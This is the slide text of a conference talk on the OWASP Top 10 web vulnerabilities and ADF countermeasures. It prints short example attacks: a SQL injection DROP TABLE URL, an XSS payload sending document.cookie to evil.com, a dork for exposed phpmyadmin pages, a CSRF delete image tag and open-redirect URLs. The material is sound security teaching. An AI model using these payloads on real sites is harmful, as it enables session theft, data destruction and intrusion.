1. Top 10 Web Vulnerabilities, and
Securing them with ADF
Brian “Bex” Huff
Chief Software Architect

2. 2
Agenda
 Intro
 Open Web Application Security Project (OWASP)
 Top 10 Web Application Security Vulnerabilities
 Countermeasures
 References
 For the latest version of this presentation, go to SlideShare:
 http://slideshare.com/bexmex

3. Intro
 What is OWASP?
• http://owasp.org
• Worldwide non-profit focused on improving software security
• Reaches out to ALL developers: not just security professionals
 Who am I?
• Oracle ACE Director
• Author of 2 books on Oracle Technology
• Twitter: @bex
 What will you learn?
• The top 10 security mistakes that developers make
• How to design software with an assurance of security
• You don’t need to be a security guru to secure your web apps
3

4. OWASP Top 10 of 2013
1) Injection
2) Broken Authentication and Session Management
3) Cross Site Scripting
4) Insecure Direct Object References
5) Security Misconfiguration
6) Sensitive Data Exposure (NEW)
7) Missing Function Level Access Control (NEW)
8) Cross Site Request Forgery (CSRF)
9) Using Components with Known Vulnerabilities (NEW)
10) Unvalidated Redirects and Forwards
4

5. 1) Injection
 Used when your app sends user-supplied data to other apps
• Database, Operating System, LDAP, Web Services
 Hackers "inject" their code to run instead of yours
• To access unauthorized data, or completely take over remote application
 Example: SQL injection attack
• String query = "SELECT * FROM products WHERE name='" +
request.getParameter("id") +"'";
 Code expects a nice parameter in the URL
• http://example.com/products?id=123
 Hackers could pass this into the URL instead
• http://example.com/products?id=';+DROP+TABLE+'products';
5

6. Example
 Don’t: name your child
Robert’); DROP TABLE Students;--
 Do: expect SQL Injection
6

7. Countermeasures
 "Connections" between systems are highly vulnerable
 Always assume data coming in could be "evil"
• Be sure to include "evil" use cases and user stories in your design
 Ideally, only allow the user to select among "safe" options
• Never allow them to pass data between systems unchecked
 If user-input text is needed, use parameterized statements
• Clean up quotes, parenthesis, and comments
 Use a battle-tested library for protecting your database
• ADF prepared statements, OWASP's ESAPI codecs
7

8. Example
// good idea
ViewObject studentVO = this.getStudentView();
studentVO.setNamedWhereClauseParam("id", id);
// bad idea!
ViewObject studentVO = this.getStudentView();
studentVO.setWhereClause("id = " + id);
// another bad idea!
String query = "select * from students where id=" + id;
ViewObject vo = appMod.createViewObjectFromQueryStmt(null,query);
8

9. ADF Input Validation
 Occurs on most components automatically
• Additional validate components available for additional filtering
• validateLength, validateLongRange, convertDateTime, etc.
 Exception: when immediate=true for some components
• Can access raw, unfiltered data through managed bean
 Hidden fields do not equal secure fields
• Expect hackers to tamper with the HTML, and insert their own values
• selectOne and selectMany do automatic validation, and are safe
 Use caution with custom AJAX layers
• Not always subject to ADF input validation
9

10. 2) Broken Authentication and Session Management
 HTTP is a "stateless" protocol
• Nice and simple: HTTP request, HTTP response
• All data must be passed in the request every time
 How do we store state?
• Client side with cookies
• Server side with sessions
 Most apps place a "sessionId" in cookies, or in the URL
• Problem: now stealing sessionIds is just as good as stealing passwords!
 Multiple ways to determine a session ID
• packet sniffing -- especially on an open WiFi access point
• HttpReferrer logs, if sessionId is in the URL
10

11. Countermeasures
 Assume that a user stole a session ID
• Determine how bad this would be in your application
 Use SSL everywhere!
• Makes it harder for people to “sniff” your session ID
 If you cannot use SSL everywhere, use it for logins
• Have a cryptographically strong session ID (ADF default)
• Have a reasonable timeout, one hour is fine
11

12. ADF Countermeasures
 Don’t pass the jsessionid in the URL, put it in a cookie
• Evil sites can sniff your session ID from their referrer logs
• Cookies harder to sniff if SSL is enabled
 Sample web.xml snippet
<session-descriptor>
<cookie-name>MYAPPSESSID</cookie-name>
<url-rewriting-enabled>false</url-rewriting-enabled>
<timeout-secs>3600</timeout-secs>
</session-descriptor>
12

13. 3) Cross Site Scripting (XSS)
 Sites must "cleanse" user input before displaying it
• HTML tags can be very dangerous
• If a user can embed a <SCRIPT> tag, all is lost!
 Hackers can create URLs to inject their own HTML onto the page
• Can be used to do almost any kind of attack!!!
 ADF is mostly safe, but occasionally vulnerable
• User generated content is usually HTML encoded on the page
• <script> becomes &lt;script&gt;
• Use caution with the af:resource or f:verbatim tags
• Never pass in unencoded data!
13

14. Example
 Example: JSP to draw HTML based on user input
• String html = "<input name='item' type='TEXT' value='" +
request.getParameter("item") + "'>";
 Code expects a nice URL:
• http://example.com/buy?item=123
 But a hacker could supply this URL:
• http://example.com/buy?item='><script>document.location='
http://evil.com/steal/'+document.cookie</script>
 Then trick an administrator or superuser to go there
• Cookie is stolen, and now evil user can connect as the admin!
14

15. Countermeasures
 Never, ever, ever trust user-submitted content!
 Properly "escape" any data before displaying it on web pages
• JavaScript parameters, URL parameters, STYLE elements
• Remove script tags, and possibly anything with a SRC attribute
• Done automatically in ADF, but manually if you bypass ADF and write JS
• Use ESAPI to "cleanse" HTML before dumping to page
 Do not allow state-change from HTTP GET requests
• Otherwise, a rogue IMG tag could delete content
• No state change on initial ADF page load!
 Set the HttpOnly flag in your response headers
• Prevents document.cookie from working in JavaScript
15

16. 4) Insecure Direct Object Reference
 Assume my project id is 123
 I see a link on “My Projects” page that goes here:
• http://example.com/projects/123
 If I alter the URL, can I see other people’s projects?
• http://example.com/projects/124
 Do you only restrict access in the web form?
 What if I could "guess" the URL? Could I see the page?
• Don't trick yourself into thinking complex URLs are any more secure
• Security != Obscurity
16

17. Countermeasures
 Every resource needs a security level
• What roles do you need to access certain items?
• Access Control Lists are easy to implement, but don’t always scale
 All access to that resource should go through the same check
• What action are you taking, with what resource?
• Put it all in one common codebase for simplicity
• May need to run check multiple times, for sub-actions and sub-resources
• Unusual behavior? Have additional authentication questions/layers!
 Front-end restriction is nice for usability, but not security
 Ideally, put all security in the Application Module (model)
• Single location to secure multiple views
17

18. Countermeasures, ctd.
 Avoid direct object reference
• Use a temporary variable relevant to just that user
• Use a cryptographically strong variable
 Validate all references, regardless
 Validate access to that reference
• Read, write, update, delete
18

19. ADF Global Security Expressions
#{securityContext.authenticated}
#{securityContext.userName}
#{securityContext.userInRole['roleList']}
#{securityContext.userInAllRoles['roleList']}
#{securityContext.taskflowViewable['target']}
#{securityContext.regionViewable['target']}
#{securityContext.userGrantedResource['permission']}
#{securityContext.userGrantedPermission['permission']}
19

20. 5) Security Misconfiguration
 Everything from the OS to the DB to the ADF framework
 What if ADF issued a security patch?
• Do you have a centralized policy for keeping dependencies up-to-date?
• How long would it take you to discover new code?
• How long would it take to recompile/test/redeploy?
 Do you know all security configurations in the framework?
• Odds are no... documentation is usually obtuse
• “Being helpful is a security hole”
 Have you properly "hardened" your infrastrurcture?
• Delete default users, disable unused services and ports
• Operating System, WebLogic, Database, MDS
20

21. Countermeasures
 Subscribe to newsletters and blog feeds to get patches
• Use automation if possible to verify patches
 Do periodic scans to detect misconfiguration / missing patches
 Disable ports/services/features unused in production
 Disable default users and passwords
 Never send stack traces or SQL errors directly to end users
 Taking over websites shouldn't be this easy:
• http://www.google.com/search?
q=inurl:SELECT+inurl:FROM+inurl:WHERE+intitle:phpmyadmin
21

22. 6) Sensitive Data Exposure
 All applications store sensitive data
• Credit cards, passwords, private health/financial documents
 Where does this data get stored?
• Database, files, logs, backups, etc.
 Where does this data get sent?
• Over the web, backup databases, partners, internal emails
• JMS queue, web service calls
 How are you preventing unauthorized access to all these
resources?
22

23. Storage Layer Countermeasures
 If you store secrets, encrypt them!
• Use only battle-tested standard encryption algorithms
 Analyze possible threats: inside attack, external user
• Make sure encryption policy is appropriate for the threats
 Encrypt data anywhere it's stored long term
• Especially backups!
• Store backups of decryption keys separately from data
 Restrict access to decrypted data to only authorized users
 Hash all passwords with a standard algorithm, and a "salt"
 Use strong keys to access the information
 Create a password management policy, and stick with it!
23

24. Sane Pass Phrase Management Policy
24

25. Transport Layer Countermeasures
 Use strong, standards compliant network security protocols
• Use TLS (SSL) on all connections with sensitive data
 Encrypt messages before transmission
• XML-Encryption
 Sign messages before transmission
• XML-Signature
 Disable old, flawed encryption algorithms (ie, SSL 2.0)
25

26. 7) Missing Function Level Access Control
 Similar to Insecure Direct Object Reference
• Need to block specific actions, even if no resource is identified
 Example: my project is 123
 I will see these URLs on my home page:
• http://example.com/project/123
• http://example.com/user/getProjects/
 I could fish around and try other URLs as well:
• http://example.com/manager/getProjects/
• http://example.com/admin/getProjects/
 Would your application prevent this?
 Same general issue:
• you have front-end security, but not back-end security
26

27. Countermeasures
 Do authentication checks at least twice
• Front end UI, and back end Controller
 Don't draw URLs to the page if the user cannot access them
• Bad usability
• Hackers might be tempted to fish around for vulnerabilities
 Never assume a URL is allowed
• Do back-end checks for access, and state change
 Add even more layers as needed:
• Does all security information exist in the URL?
• Can you authenticate right away?
• Might you need to get half way through the request before you know what rights
are needed?
• What if the user has access, but their behavior is unusual
• should you prompt for password again, or perhaps for additional authorization?
27

28. 8) Cross-Site Request Forgery
 Evil sites can hijack your browser, and run secure requests:
1) User logs into secure application behind the firewall
http://example.com/myApp
1) User goes to "evil" website, or loads up "evil" HTML email
2) HTML contains this image:
<img src="http://example.com/myApp/deleteEverything"></img>
 With JavaScript and XSS, evil sites can completely take over
your browser
• Can browse around your intranet, log into bank accounts
• Anything you are currently logged into
• Complete control, as long as you stay on the evil site
 Unfortunate side-effect of Single-Sign-On
28

29. Countermeasures
 Need a unique token to validate that the request is authentic
• The jsessionId is sometimes sufficient, but can be stolen with XSS
• More secure: unique token for every HTTP request
• If somebody steals your jsessionid, they can only do one request!
 Steps to validate every request
• Put a random number in the session for the next valid token
• Put that token on every HTML web form that causes state change
• When processing a request, validate the token
• Generate another random token for the next request
• Place that token in the session, repeat forever!
• NOTE: might not be needed in JSF 2.1
 http://blog.eisele.net/2011/02/preventing-csrf-with-jsf-20.html
29

30. 9) Using Components with Known Vulnerabilities
 In addition to ADF, you may use other frameworks
• Open Source Libraries
• OEM Libraries
• JavaScript frameworks
• JARs and JARs and JARs of fun...
 Automated hacker tools can find these dependencies
• Unless you are always on the latest stable version, you are vulnerable
 All possible attack vectors are open
• XSS, injection, CDRF being the most common and most troublesome
• Rages from annoying to complete takeover of your servers
30

31. Countermeasures
 At a minimum, manually keep track of dependencies/versions
• Developers must justify every JAR they depend on
• Must manually keep track of version, and check before each release
 Better still, use Maven to perform automated builds
• Automatically check your JAR version vs. latest stable release
 Both have risks to the build process
• What if you have to refactor your code every time the JAR is revised?
• Annoying, but a neccessary step to secure your applications
31

32. 10) Unvalidated Redirects and Forwards
 Most sites allow redirects to other sites, or pages within the site:
• http://example.com/redirect?url=google.com
 But, open redirect pages can be used by "phishers" to create
links to their site:
• http://example.com/redirect?url=evil.com
 Link looks like it goes to "example.com", but it goes to
"evil.com"
 Or, can trick a site user into harming their own site:
• http://example.com/redirect?url=/admin.jsp?deleteEverything=true
 Sometimes called "phishing holes"
32

33. ADF Attack Vectors
 Common places to do redirects
• PagePhaseListener
• Download Servlet
• Task Flow router
 Example code for a redirect:
FacesContext fctx = FacesContext.getCurrentInstance();
fctx.getExternalContext().redirect("http://google.com");
33

34. Countermeasures
 Restrict redirects to a limited number of "trusted" sites
 Keep a list of all redirect URLs, and pass the ID in the request,
instead of the URL
• http://example.com/redirect?urlId=123
 Hash the URL with a secret, and pass the hash in the URL
• http://example.com/redirect?url=google.com&hash=a1b2c3
 Example: does this URL look like a Google Invoice to you?
• http://www.google.com/#invoiceId=123&q=oHg5SJYRHA0&btnI=3564
 Question: are URL shorteners inherently unsafe?
• TinyUrl offers a "preview" feature: others should as well
34

35. References
 OWASP top 10, and associated resources
• https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
 ADF Code guidelines to prevent security holes:
• http://www.oracle.com/technetwork/developer-tools/adf/learnmore/adf-
code-guidelines-v1-00-1845659.pdf
 JavaScript best practices for ADF
• http://www.oracle.com/technetwork/developer-tools/jdev/1-2011-javascript-
302460.pdf
 Hardening Fusion Middleware to avoid OWASP issues:
• http://antonfroehlich.blogspot.com/2012/06/handling-owasp-top-ten-
application.html
 JSF and OWASP
• http://turbomanage.files.wordpress.com/2009/10/securing-jsf-applications-
against-owasp-top-ten-color.pdf
35

36. 36
 My Company: http://bezzotech.com
 My Blog: http://bexhuff.com
 My Slides: http://slideshare.com/bexmex
 My Tweets: @bex
 My Self: bex@bezzotech.com
Questions?